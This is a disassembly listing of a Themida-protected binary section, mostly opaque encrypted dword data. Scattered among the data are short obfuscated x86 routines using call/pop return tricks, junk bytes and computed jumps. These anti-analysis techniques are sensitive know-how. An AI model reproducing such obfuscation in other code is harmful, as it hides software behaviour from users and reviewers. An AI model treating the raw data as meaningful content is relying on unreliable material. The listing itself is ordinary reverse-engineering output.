		dd 691D3CDFh, 0BCD68358h, 0D5DD6831h, 0F6351F31h, 5F6B4C6Fh
		dd 5731E345h, 0CC31C775h, 9035F131h, 0A6323B67h, 0AD00132Dh
		dd 0A48A58B9h, 63A892E1h, 3F339BA6h, 0D635C73Fh, 138B5FCDh
		dd 0E7440D7Dh, 0C1412EB5h, 53B85B2Eh, 0D0214780h, 0B2F29E57h
		dd 86E570B0h, 0EEBA7957h, 11B4856Fh, 163EC930h,	0D6757C3Eh
		dd 0DEDC7C31h, 1D353E31h, 1C97E9A8h, 5B76E34Fh,	0D97960ACh
		dd 0D6330A37h, 89CBF131h, 0C91E4B8Dh, 0D6357D89h, 0D63FD631h
		dd 324C1F31h, 190485F4h, 21BFF52Ch, 0C5895A57h,	80D60E6Bh
		dd 1EBE9E67h, 4BB8266Eh, 0D021A98Bh, 0D6350ED8h, 0CF773F31h
		dd 3AB91BDCh, 114351AAh, 21A95ECh, 53B8C2F4h, 0D0210580h
		dd 0D5B83151h, 0B0351F31h, 28BE51BAh, 1D8AC850h, 0D65F33CEh
		dd 0D6361967h, 8815F831h, 0A2BC22F2h, 92B43A15h, 0D6281B15h
		dd 80738F31h, 0F00840F2h, 0B835DF2Eh, 69637971h, 0A477C1EEh
		dd 523ABC3Ah, 0D6353E7Eh, 9A9282BCh, 0D65F893Eh, 0D6362F64h
		dd 8B15E331h, 0BABCACF2h, 92B4FC15h, 0D6237815h, 83703E31h
		dd 0BD5E87F2h, 0D58D7A80h, 3F35C731h, 0D635E33Dh, 2DECFE42h
		dd 8826A333h, 2CB7CE7Eh, 0D63539D8h, 2AABF631h,	3E050B9Ah
		dd 575324CEh, 95AFD7E7h, 0D635E5D9h, 306C5A31h,	65DF0139h
		dd 0E9D695C8h, 0AA4068B6h, 51FE4EA8h, 0D6242F42h, 39FBE331h
		dd 0C6DF7995h, 0EBF57FF3h, 3B85B1C8h, 0B059E2FCh, 8C6CD0BAh
		dd 419632BCh, 5BB8C125h, 0D02178CBh, 9D698C89h,	73B0CBBBh
		dd 0FD337312h, 63A892FEh, 3F339BA6h, 0D635C73Fh, 138B5FCDh
		dd 0E7440D7Dh, 0C1412EB5h, 53B85B2Eh, 0F305E983h, 60C08BA4h
		dd 0E89EC980h, 0Eh, 827BB7B5h, 0CE7F25A9h, 0FC178BE8h
		dd 0DB81BF12h, 2E80F8Ch, 6A615Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0D18B12C3h, 74A2B0DCh
		dd 5850Fh, 8A600000h, 8B61FCDDh, 0E85F50C3h, 10h, 60C9ABEFh
		dd 1F3D7688h, 5E176D8Dh, 0E229582Bh, 4673FBBFh,	0C08B5E23h
		dd 60CB8B66h, 8BF28B66h, 0BD8361CBh, 60F1891h, 83097500h
		dd 0F26ADBDh, 19740006h, 0C08B5350h, 47AB8h, 41858900h
		dd 8D060F29h, 11B01F9Dh, 5BD3FF06h, 0ADBD8358h,	60F26h
		dd 53501774h, 47AB8h, 41858900h, 8D060F29h, 11ACC09Dh
		dd 5BD3FF06h, 0BE958h, 42260000h, 0C5F9057Fh, 0EB4B44CDh
		dd 0EE9E2h, 5860000h, 88D7710Ah, 9ED84147h, 40C24B1Dh
		dd 8D8DC08Bh, 6149E07h,	3275B58Bh, 8D89060Fh, 60F2C65h
		dd 0C880Fh, 840F0000h, 6, 2A15858Bh, 85C7060Fh,	60F07C1h
		dd 58ACh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	23C35646h, 58FEC032h, 0D7BF0F82h, 249185C7h, 60Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 33C490C3h, 0F09019Dh, 3DB5FF06h, 6A060F21h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 483FC355h, 33F63807h, 0E9F77EF7h,	9
dword_5A4C78	dd 0D5002936h, 52ECF534h, 0CDBD8B97h, 0FF060F30h, 0F2A0595h
					; DATA XREF: Themida_:00572F98o
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0DAB75ECBh, 11E85Bh, 0E920000h, 497B541Fh
		dd 0BF840847h, 0B000DE4Ch, 29AB2746h, 0F2E91B5h, 6A5F06h
		dd 345195FFh, 0C08B060Fh, 73AA6FEBh, 0F25269C0h, 7B99264Fh
		dd 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h,	0F53628ADh
		dd 0BD0001C6h, 3A4DA24Bh, 8E0D11C7h, 22AFEB76h,	6C0CA63Ah
		dd 0A5125249h, 6D7A721Ch, 0D44EA00Eh, 1565A4EAh, 767E14CDh
		dd 31281E1Bh, 11A7459Dh, 29EAB36Dh, 0A92332CCh,	0BBCA21C4h
		dd 0A5AA9C3Ch, 40287764h, 564F2202h, 0D593F24Eh, 0DDE311C5h
		dd 266E9A8h, 66600000h,	0C1F6D98Ch, 35840F04h, 6A000000h
		dd 0E5B5FF01h, 8D060F1Ch, 1272E785h, 89D0FF06h,	0F22E985h
		dd 0C1FE8B06h, 680CEFh,	6A200600h, 57026A00h, 1000D68h
		dd 0E995FF00h, 0E9060F22h, 32h,	24FD85C6h, 6856060Fh, 0A9C530DFh
		dd 2CA1B5FFh, 858D060Fh, 61272E7h, 8589D0FFh, 60F30C1h
		dd 22D5858Dh, 6A50060Fh, 56056A40h, 30C195FFh, 0C361060Fh
		dd 3 dup(0)
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+6149EFEh],	eax
		mov	eax, [edx+0Ch]
		mov	[ebp+6149EF6h],	eax
		mov	eax, [edx+10h]
		mov	[ebp+6149EFAh],	eax
		lea	esi, [ebp+6149F34h]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	esi, [ebp+6149EFEh]
		mov	eax, [ebp+6149EF6h]
		cmp	dword ptr [ebp+6149EFAh], 0
		jz	loc_5A4E1E
		mov	[esi], eax
		jmp	locret_5A4E20
; ---------------------------------------------------------------------------


loc_5A4E1E:				; CODE XREF: Themida_:005A4E11j
		mov	[esi], al

locret_5A4E20:				; CODE XREF: Themida_:005A4E19j
		iret
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 0D48B5200h, 8428B60h, 9EFE8589h, 0B58D0614h,	6149F85h
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 6149EFEh, 8B0004C2h
		dd 149EFE85h, 89008B06h, 149EFE85h, 0CF06h, 89600000h
		dd 149F5BB5h, 57858906h, 8D06149Fh, 0F151185h, 44408B06h
		dd 9F948589h, 0B58D0614h, 6149FCAh, 8EA1858Dh, 0D0FF005Bh
		dd 5B858B61h, 0C306149Fh, 9F579D8Bh, 0B70F0614h, 0D8033C43h
		dd 3785B8Bh, 149F579Dh,	24738B06h, 9F57B503h, 8B560614h
		dd 738B207Bh, 57BD031Ch, 306149Fh, 149F57B5h, 0C983FC06h
		dd 9D8B41FFh, 6149F5Bh,	9503178Bh, 6149F57h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 6149F57h,	9F5B8589h, 0F08B0614h, 0C18BCE8Bh
		dd 9F94BD81h, 614h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
		dd 12E8C100h, 3FF825h, 94BD8B00h, 8306149Fh, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 9F94BD81h, 614h
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 94BD8100h, 6149Fh, 0FC03000h, 0E84h,	3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 9F02858Dh, 85890614h, 60F3261h
		dd 9F98858Dh, 85890614h, 60F1C99h, 9F5F858Dh, 85890614h
		dd 60F3209h, 0BE8h, 1ADB6C00h, 0CCCA28B1h, 96AE1985h, 0B9665FF9h
		dd 0C781ADC4h, 73BDh, 6E956h, 0C220000h, 3F1F9F28h, 4A11B859h
		dd 0C0810A56h, 0F5A9D2ACh, 9135BB66h, 816637FFh, 5A3BDECBh
		dd 0B0E68166h, 0A0C28185h, 0FC37FC8Bh, 0EFF6EA81h, 816636F4h
		dd 81B3C6D9h, 19F0ABC2h, 6652F570h, 8F3F29BBh, 2890F07h
		dd 8B000000h, 76EF81CEh, 0E8381BA4h, 0Dh, 7702BF9Ah, 2462506h
		dd 26D0F4F8h, 7E8F4h, 0A09C0000h, 8E9DF08Ch, 5EF88A46h
		dd 72C7815Eh, 8B381BA4h, 850F48F0h, 1Ah, 0E9F6BF0Fh, 26h
		dd 5163F38Dh, 0F9836F1Ah, 0CB03205Bh, 8C9C9E09h, 8166612Ch
		dd 0E9E11DD1h, 0FFFFFF70h, 4ED9587Bh, 0C91D2473h, 8D8DCCB2h
		dd 614A27Eh, 89D7B70Fh,	0F2C658Dh, 918D0906h, 0C7060F33h
		dd 0F07C185h, 6FD006h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 85B01516h, 0B70F2C65h
		dd 0B58D89D9h, 0FC060F2Ch, 249185C7h, 60Fh, 85290000h
		dd 60F2A21h, 58C0F60h, 66000000h, 7651DF81h, 6165C980h
		dd 0B09B5FFh, 6A060Fh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0F2B8E1C3h, 595FFEDh, 89060F2Ah
		dd 0F28318Dh, 0FF006A06h, 0F345195h, 0EBC08B06h, 6D74345Ah
		dd 0A80CA298h, 6C50C3D1h, 2E09BB0Dh, 575F5FD7h,	0B5C27EC8h
		dd 285D7AC2h, 6B04006h,	0D89AE318h, 298BCA91h, 0D48E7B43h
		dd 88B24DAAh, 0DE740FD8h, 8847C9B8h, 35627B57h,	8F2A6710h
		dd 0B564B367h, 0ACBFA4B4h, 0BFDA2375h, 68685E42h, 0C368EFC2h
		dd 3602CC19h, 0E9692F6Fh, 2Ch, 9E58CAFh, 0Ah dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A5E09
; ---------------------------------------------------------------------------
		push	614A4D7h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	614A5AAh
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	614A78Dh
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	614A8B4h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	614AB38h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	614ACA2h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	614ADC0h
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		db 0FFh
		dd 1CFCA57Ch, 3414BD9Ch, 4929D2AFh, 6343ECC7h, 605700DFh
		dd 0A47BFFEBh, 0BE9D1BFBh, 0D3B63515h, 0ECC94A2Ah, 530BAF43h
		dd 1DD9A959h, 14B85C01h, 0D9A9425Ch, 4BAB0A1Dh,	4825A62Ch
		dd 15CD7115h, 1BCD0A1Bh, 16F573C3h, 860757B7h, 2FB383A7h
		dd 1A3E1D50h, 0CD0A4862h, 51B1101Bh, 2155F7A8h,	0AD8CBFA2h
		dd 0B6862A4Eh, 46255835h, 1229AEE6h, 73E91DC2h,	920D9BE2h
		dd 1245A409h, 421F9E6Eh, 0E1B4AAE2h, 0FB5D1DC2h, 73B94EC4h
		dd 4160302Ah, 41000000h, 0CCF077D5h, 3C9C7DFCh,	2CE76018h
		dd 58B71DC2h, 30B18125h, 0A3B9F151h, 6C1DC22Dh,	0A2514238h
		dd 726C626Ah, 93C6A322h, 0CB0254B4h, 13C3E1D7h,	0CC1F8F4h
		dd 0C37106ACh, 0E3183029h, 0F9000000h, 154825A6h, 6FF1C145h
		dd 23826194h, 0C29F20F0h, 5D49CE9Eh, 0BE2061DFh, 1447A660h
		dd 8665E535h, 0A223F326h, 0B9521AC3h, 0D71BCDDCh, 1ACE7756h
		dd 0DDACBE76h, 0D6C1BCDh, 0FDDC5DADh, 0AE8509D9h, 0D27A1B4Eh
		dd 1DA17195h, 4F1D1346h, 2A8E7075h, 7397F756h, 0C20C80BBh
		dd 58DCAC1Dh, 74D31979h, 0FAF4AC50h, 0A21DC20Ch, 863AE343h
		dd 285B32B6h, 84C8E949h, 0A907BFE3h, 691BD3A3h,	0E7F0E60Ah
		dd 0BB0A1840h, 0EEBEE242h, 36EA936Ah, 0D80BE266h, 31DD5F9h
		dd 0CB17EDFCh, 38BC0C6Ch, 9DE13459h, 2B6EB700h,	9D54Eh
		dd 17FA7D00h, 2F0E8E6Eh, 4C21A686h, 6241C3A3h, 7E55D9B9h
		dd 816DDED5h, 9D7D26FDh, 0B3933C1Fh, 0CCAC5534h, 31C56E4Bh
		dd 0AEDBD58Dh, 0DE831DD9h, 4B22A63Fh, 6441C2A2h, 2D20CBBh
		dd 9170A382h, 2B3C1031h, 2CF44F07h, 47A61DC2h, 2C465C14h
		dd 0AD0F1DC2h, 0AA6B0076h, 0C6123029h, 0F3000000h, 0A48102D2h
		dd 9673F444h, 5321A272h, 0E4C3F6D5h, 13735285h,	9E8C10E0h
		dd 0F04EA47Dh, 6699F836h, 0CDD45DAEh, 0D7695F1Bh, 0C4B808EAh
		dd 830454B4h, 9C1DFDA6h, 496D4CCCh, 0CD269F91h,	81E03F1Bh
		dd 280B8D5Dh, 58F495C8h, 1833EB0Fh, 21DC226h, 349FAA3h
		dd 35884064h, 0D91BD38Ah, 286567Ah, 1EA2822Bh, 96F5CC4Eh
		dd 0B2AE71h, 9572B5B7h,	902h, 4BF4CD50h, 630CEB6Bh, 761FFE83h
		dd 943D1496h, 0A85130B4h, 0CA4E9AB1h, 0EC6A4AF3h, 584640Dh
		dd 1A9B7B24h, 5AFE923Bh, 0D9AF88A2h, 0CAB501Dh,	0F63422A6h
		dd 51A0E7C1h, 0ABDEB539h, 650E6DCCh, 2A0E0485h,	0EDDE1B4Fh
		dd 0E5B5D938h, 7A238366h, 4825A6CBh, 21A17115h,	1192E242h
		dd 72DA8B34h, 5DC6030h,	0A1BBF3D2h, 691BCD0Ah, 0CF87AB0Ah
		dd 1DC21DD4h, 7A57D8A8h, 4275D41Ah, 6B14F172h, 72B0A8Bh
		dd 1DB1AB63h, 0FA591DC2h, 1FC3679Ah, 0C21D7567h, 0FA2FE51Dh
		dd 1D41F1A0h, 0E01878D7h, 8E469AE0h, 0A8C8FFE1h, 56264A27h
		dd 0E5C4F7D6h, 8428DC85h, 0DD3628E0h, 77D6825Eh, 5EDD2D3Fh
		dd 3E8EED82h, 0CFAEE1C0h, 0BF9E1F6Fh, 0DDDFD48Ch, 3C1E825Eh
		dd 0BC411105h, 73D3B2E5h, 1AC3A223h, 0B8DCB93Ah, 578A67E8h
		dd 0CF2E0587h, 0C8983C6Fh, 56356849h, 2253BEF6h, 0B4867DA1h
		dd 0FDDC5D7Dh, 16F37454h, 8B493FE3h, 0AAA12CE2h, 0E86485E5h
		dd 0E7B75B7Fh, 0F42C8C63h, 8451FCE7h, 0A98809D9h, 80A40349h
		dd 0FD0A24DCh, 73D2846Fh, 93B96A13h, 4FF8B0D4h,	4F8260DCh
		dd 0EE05BDF0h, 0B9BE7F13h, 168B8F85h, 0F5F7D17Ch, 960C4395h
		dd 0CFCD2501h, 0FF7F4FF3h, 0D60EED20h, 0BE7F9FC4h, 56C52584h
		dd 482h, 56F95437h, 0AE0FAB2h, 49A81BCDh, 0E384C8E9h, 2EEC07BFh
		dd 8AAE1DC2h, 0C22ED8D2h, 0FD21801Dh, 0C22E2B45h, 3594F31Dh
		dd 0F5BD4111h, 4379675h, 0FDB5C525h, 0C10DFF7Eh, 1C129262h
		dd 0FAA3AC5Ah, 8ABD1CF2h, 0FCDB5BABh, 698AEAC9h, 0A86084E3h
		dd 0FF1C5B8Bh, 58F92C8Bh, 0AB4F73F4h, 0E1A8EEB5h, 0FE5EAAB0h
		dd 2F7868C6h, 0A5C928F5h, 0CC7554D5h, 698E6BECh, 55DCE858h
		dd 1F9774B7h, 33000007h, 4828D1B0h, 6040E9C8h, 7D5D06DBh
		dd 8F6F18FBh, 948B340Bh, 0D0AF33B7h, 0EAC94727h, 0FFE26141h
		dd 18F57656h, 7F37DB6Fh, 1DD9AD6Dh, 0D2E9882Dh,	0AACE15DCh
		dd 82E2BE92h, 0A1D4B132h, 51754CD1h, 7EFBF5ADh,	53A31BCDh
		dd 3090EFCEh, 1049A87h,	96660000h, 35053815h, 0BF9ED1B0h
		dd 0D5E10060h, 0FDCDF176h, 8A699C7Fh, 0ABCAE66h, 0FD5C1BCDh
		dd 8E5F919Dh, 0E35990E2h, 2A1A884Eh, 11F06E3Eh,	8442B1h
		dd 0D5230000h, 15CDF176h, 1BCD0A1Eh, 913AECE2h,	0D349F8A3h
		dd 0C81BD4E0h, 5BAB0ABBh, 5298F8D7h, 6FF0C0F3h,	0E6451CA1h
		dd 38DC5D3Dh, 0CDD36E80h, 70CF2E1Bh, 0B7B09C3Dh, 0C2FCDB93h
		dd 5FBE1DC2h, 0D60D6F2Ch, 0B19012E2h, 532AAE7Eh, 618D0F4h
		dd 0C61DC2E1h, 0CC610767h, 0BC302A79h, 0EBC64818h, 8FA1D9B8h
		dd 4F1DC2E3h, 172190F0h, 2000000h, 10399h, 196F6500h, 422FCA02h
		dd 0FC3DF0D0h, 44300C86h, 77D5C5E4h, 7EFCCCF0h,	5F173B9Bh
		dd 1DC228BCh, 0A57A9FFEh, 0D2BD2F48h, 5F8B28Fh,	0D75A0000h
		dd 0F17151FAh, 4896912h, 22A4842Dh, 32B6963Fh, 90BBB25Bh
		dd 50F9D85Ch, 660FF270h, 812A0786h, 984120A1h, 0B6A86004h
		dd 561DD9A2h, 76D512B1h, 9B3E5F1h, 689B76F8h, 5381998h
		dd 0E1D50CEEh, 0CD0A3729h, 1978D71Bh, 594D84D6h, 0AE3FDB5h
		dd 4CAB1BCDh, 84B146ECh, 61582A1Ah, 39000000h, 0E5F176D5h
		dd 4DF6131h, 0F092F2D1h, 0D9B837C6h, 7D54D6A6h,	98CFB14Ah
		dd 9DD42669h, 1A849227h, 2DB2822Ah, 3581F050h, 62000000h
		dd 46DA76D5h, 76B677FFh, 336571D0h, 441FA1B2h, 0CBC14111h
		dd 0E9576864h, 4F82E16Dh, 6E9DD4B6h, 9AA2D92Bh,	1BCD8B83h
		dd 18F48C32h, 789B2A1Bh, 7CFFFFFEh, 0E5F176D5h,	0DC2E32B3h
		dd 849A2FA5h, 73F2A1Ah,	20000002h, 184B22A6h, 0C7EBC648h
		dd 669978F7h, 5BF42787h, 9E224279h, 3C6F4ECEh, 0A155FE5Dh
		dd 7E52D1h, 0B00FEE21h,	0A57C0050h, 0EC7BD172h,	12B10C8h
		dd 0C7EB1DC2h, 1716B23h, 0BA191DC2h, 0C2016882h, 61E0301Dh
		dd 8FC22180h, 3F5F9678h, 5B3BE4BBh, 0DC5F8D7h, 1DC20017h
		dd 1D3D7456h, 3111BA99h, 0EB2D6ADh, 0C2064456h,	0F360D41Dh
		dd 317A259Dh, 0F92C8CEBh, 4F73F458h, 0CD3FA897h, 951A6A1Bh
		dd 47A685B8h, 85FED9Eh,	7F2F2CE4h, 90EF11DCh, 7F8BA55Dh
		dd 10F209E0h, 364E8D9h,	4F2827DFh, 8BEA0FEFh, 6FF3C367h
		dd 0AF465890h, 0A70603F1h, 3DBE9E47h, 0DC5D2D60h, 8809D9FDh
		dd 0EFA049A9h, 2EE60A5Dh, 5FEB7A9h, 42E60A69h, 86B7908Ah
		dd 79D93805h, 0B7988E46h, 0DF410586h, 64E4B4A8h, 0B71608C0h
		dd 57B60586h, 86E6C5F8h, 66454BE0h, 57F248h, 0D5D30000h
		dd 0A67DFF77h, 0A5F4B030h, 79D8138Eh, 25048555h, 5EE9A1C5h
		dd 401DC2F3h, 0E0F6AEE1h, 0A91DDD0Ch, 719D175h,	0BD1DDD0Ch
		dd 4C2B5E3Dh, 0F547A706h, 8AB348BEh, 0AFA5302Ah, 0AB4A0B19h
		dd 8CFB5B1Dh, 0B3h, 1D2A7268h, 0D3D8F8A3h, 0EEE56DFAh
		dd 3999F87Ah, 4825A61Ah, 0F1C14515h, 339271h, 0AED2AF30h
		dd 25855CDEh, 0C4A122F2h, 0BC3671Bh, 1BCD0A11h,	0C2FA5AB9h
		dd 1BCD0E49h, 3EE7C647h, 3FE3BF8Dh, 0CD0F9587h,	9ED6351Bh
		dd 1BCD0F8Ch, 6A8EED4Ch, 0DCA299B2h, 0FE22811Dh, 2AD3AA2Eh
		dd 4825A676h, 86D63615h, 27062B02h, 68BD31D9h, 3744825h
		dd 5BDE0000h, 7DFDDD86h, 9015F59Eh, 0A62808B1h,	0BE4222CBh
		dd 0C3F36DFh, 0DC855CE0h, 0F29B7EFCh, 0DB69312h
		dd 24CDAC2Dh, 3A34EC90h, 0E21DD9A1h, 2D29E3Dh, 5332B381h
		dd 0C04494F4h, 0D75838E1h, 0D2A251FAh, 6DA07D02h, 5DDE2E8Eh
		dd 0D8C5C80h, 0BA1AF92Ch, 5736B787h, 25A6FFAEh,	0C4451548h
		dd 73F1C1E5h, 2E7E5D90h, 0BE9DD0ADh, 4804B55Eh,	0BC43FB1Fh
		dd 0A01DC212h, 122A44FCh, 93F21DC2h, 677ED33h, 0EB0E967h
		dd 0F4ACDF3Eh, 1DC24EFEh, 980E45A7h, 3029CC03h,	3CAAh
		dd 77D58B00h, 8428CCF0h, 0CD0AD2CCh, 0A62A7A1Bh, 0D00868C7h
		dd 1DC22C77h, 7E55D727h, 0DA0D6C4Bh, 0C22D0C22h, 0FDA1D51Dh
		dd 0C22D2B45h, 3494F31Dh, 0A035ABE2h, 453029ABh, 0EDh
		dd 5725A626h, 2AABFBD2h, 0DA39184Bh, 7C53D7A7h,	54F87949h
		dd 0CD0A829Ch, 0E3BE401Bh, 2C8BD1B0h, 49CA9ACDh, 0FBC36Ch
		dd 801BCD0Eh, 0C57922FFh, 0F776921h, 0C7171BCDh, 0AC0C6B42h
		dd 92E7DB5Ch, 0D93345DAh, 0B05184E3h, 0D7A7CB9Ch, 0F3177756h
		dd 0C2B6643Bh, 9352481Dh, 4E76FC6Ch, 56EC5C47h,	1712CFE0h
		dd 691271B7h, 0AFD394B8h, 0DCBB3B0Bh, 0FAEE00B8h, 4FAE1DC2h
		dd 4ABEB7EFh, 21801BD3h, 0CAA92DFDh, 0E6BD4121h, 1CBC6C1h
		dd 0DEA2DB7h, 20Ah, 43ECC548h, 5B04E363h, 6E17F67Bh, 8C350C8Eh
		dd 0A04928ACh, 0C246A2A9h, 0E46242EBh, 0FD7C5C05h, 1293731Ch
		dd 52F68A33h, 0D9A6809Ah, 4A3481Dh, 0A552DCD2h,	0B39A486Bh
		dd 0B62C7EEAh, 91E1D4E9h, 86D6360Dh, 0A2822B02h, 0D5C77F21h
		dd 751BCD58h, 5A0EB716h, 0CC2C098Ah, 0F077D5ADh, 0C13228CCh
		dd 44963AF0h, 0DD669EFEh, 0BD1DC2DCh, 0B3CAC047h, 84E38D93h
		dd 2F129060h, 48CD1DFCh, 0F7573669h, 8B160CC4h,	27AC1DDDh
		dd 0C847174Ah, 61E468D2h, 61C07A56h, 2390B2Eh, 0FD3496D3h
		dd 2B3BF287h, 0CA9730h,	0A6780000h, 80244825h, 0CD0AD6C8h
		dd 0B717761Bh, 5130B484h, 0E95661Eh, 6AEB1BCDh,	8102E28Bh
		dd 7CD071A4h, 0D0D1C7EBh, 8D6CED5Ah, 5BFA7317h,	3D6D7F37h
		dd 0CE2D1BCDh, 0B0A64A6Eh, 0BB246A33h, 134BAB93h, 1DC27C5Ch
		dd 502DAEFEh, 0B59748F1h, 0D68EB2h, 401BD32Eh, 3F4A641Ch
		dd 870817ECh, 529877AAh, 0A07094F3h, 0BC9C451Ch, 3D345938h
		dd 0AAB7015Eh, 0EC8A67h, 0E3660000h, 585650Eh, 189D7D26h
		dd 2EB09039h, 46CAAA53h, 84C7BE67h, 640DE468h, 7A230684h
		dd 953E1B9Ah, 0AC5534B5h, 0A2BC7418h, 6A1DD9A7h, 22A626C5h
		dd 0D257274Bh, 0A6C7E36h, 0CD2C1BCDh, 0FC5C3B6Eh, 13F27353h
		dd 99934BEFh, 411BCD0Ah, 2AD982E2h, 0AC47DCD2h,	0E0CFF478h
		dd 0E1AF3080h, 7F4F8261h, 68C726FDh, 40E46535h,	0CDE99688h
		dd 64E6361Bh, 26CF2E8Dh, 6C90D775h, 0D94B5CB4h,	0E92621Dh
		dd 2A89CF2Fh, 0C7A627F7h, 0E0BD3E1Eh, 0B83909ADh, 8C425C14h
		dd 0AB0A1DD8h, 49B4EC4Ch, 821229AFh, 0D17569A0h, 0A07B752Dh
		dd 0C4230DCBh, 0CBA0928Ch, 7BDB3A0Dh, 22CBAA2Bh, 0B1E4C142h
		dd 51845FE1h, 2D21583Ah, 9C0A637h, 78D831DEh, 0A6CAA728h
		dd 467958D6h, 7E5E0767h, 2CFC20FDh, 0B998CBAEh,	3492659h
		dd 1A000000h, 23A66E9Dh, 0CA4B1B4Eh, 69E8B8EBh,	7855588h
		dd 9D21F124h, 3FC393C6h, 0DB5D2D60h, 70F5C5F8h,	0E8E5E91h
		dd 5335FC2Fh, 0BA52E389h, 4, 835AD301h,	1C8704EBh, 31685C24h
		dd 89000051h, 0A68243Ch, 89000001h, 0B9512414h,	614A359h
		dd 0C8BCF89h, 4C48324h,	24148B54h, 4C481h, 0B9510000h
		dd 8, 3989D101h, 83240C8Bh, 148B04C4h, 0E6895624h, 4C681h
		dd 0C6830000h, 24348704h, 2434FF5Ch, 4C4815Fh, 0E9000000h
		dd 0FFFB970Dh
		db 0EEh
; ---------------------------------------------------------------------------


loc_5A5E09:				; CODE XREF: Themida_:005A51D8j
		mov	eax, 614AED1h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		pop	ecx
		cmp	esi, [ecx+ecx*2+6A9E41E5h]
		mov	ecx, 4C0F6571h
		mov	bh, dh
		dec	edx
		lea	ecx, [ebp+614B04Ch]
		push	0
		push	eax
		call	sub_5A5E33
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A5E33	proc near		; CODE XREF: Themida_:005A5E2Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5A5E33	endp

; ---------------------------------------------------------------------------
		push	6CAD7160h
		pop	eax
		mov	al, 0Eh
		dec	ebp
		cld
		adc	ah, 0DAh
		mov	[ebp+60F2C65h],	ecx
		push	0
		push	ebx
		call	sub_5A5E61
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A5E61	proc near		; CODE XREF: Themida_:005A5E59p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5A5E61	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		lahf
		jmp	short loc_5A5E7B
; ---------------------------------------------------------------------------
		db 51h,	0C7h, 85h
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 0Fh


loc_5A5E7B:				; CODE XREF: Themida_:005A5E73j
		push	es
		in	al, 6Fh
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5A5E8B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A5E8B	proc near		; CODE XREF: Themida_:005A5E83p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5A5E8B	endp

; ---------------------------------------------------------------------------
		db 1Dh
		dd 8B266121h, 0F3814925h, 782D0C9h, 249185C7h, 60Fh, 0B70F0000h
		dd 41958BDEh, 0FF060F22h, 0F11C5B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0B6DE4A48h
		dd 0F0F7B22h, 882h, 2850F00h, 56000000h, 595FF5Bh, 0E9060F2Ah
		dd 13h,	0E26F5313h, 609708B0h, 0FCDE1096h, 4B2B1F6Bh, 6AA2A700h
		dd 5195FF00h, 8B060F34h, 305EEBC0h, 0CC0BBE0Ah,	0E20E3F14h
		dd 9D1F4D19h, 56116E93h, 0D1F01068h, 2004BDBBh,	85835B12h
		dd 7FFDDD16h, 4016FE56h, 36EA7E20h, 604EB487h, 612EEBE7h
		dd 5281C675h, 0B173519Ah, 78FDAC27h, 97565687h,	1261552Eh
		dd 0B1B73BD2h, 77BC0343h, 84F78910h, 69006D4Ch,	34365992h
		dd 25E0F31Ch, 18BE970h,	0AA100000h, 68EC49C4h, 4C9A85A9h
		dd 58B44D55h, 56B90A88h, 56B95383h, 58330A80h, 71CF538Bh
		dd 24A63AA0h, 701853F2h, 0C464D109h, 0B6989D0Dh, 15DD52B5h
		dd 12853C4h, 0
		dd 40000h, 2 dup(0)
		dd 2F0000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 48h dup(0)
		dd 1785E900h, 23680000h, 0E90614B4h, 0FFFB93FDh, 14B53A68h
		dd 93F3E906h, 2268FFFBh, 0E90614B6h, 0FFFB93E9h, 14B6EE68h
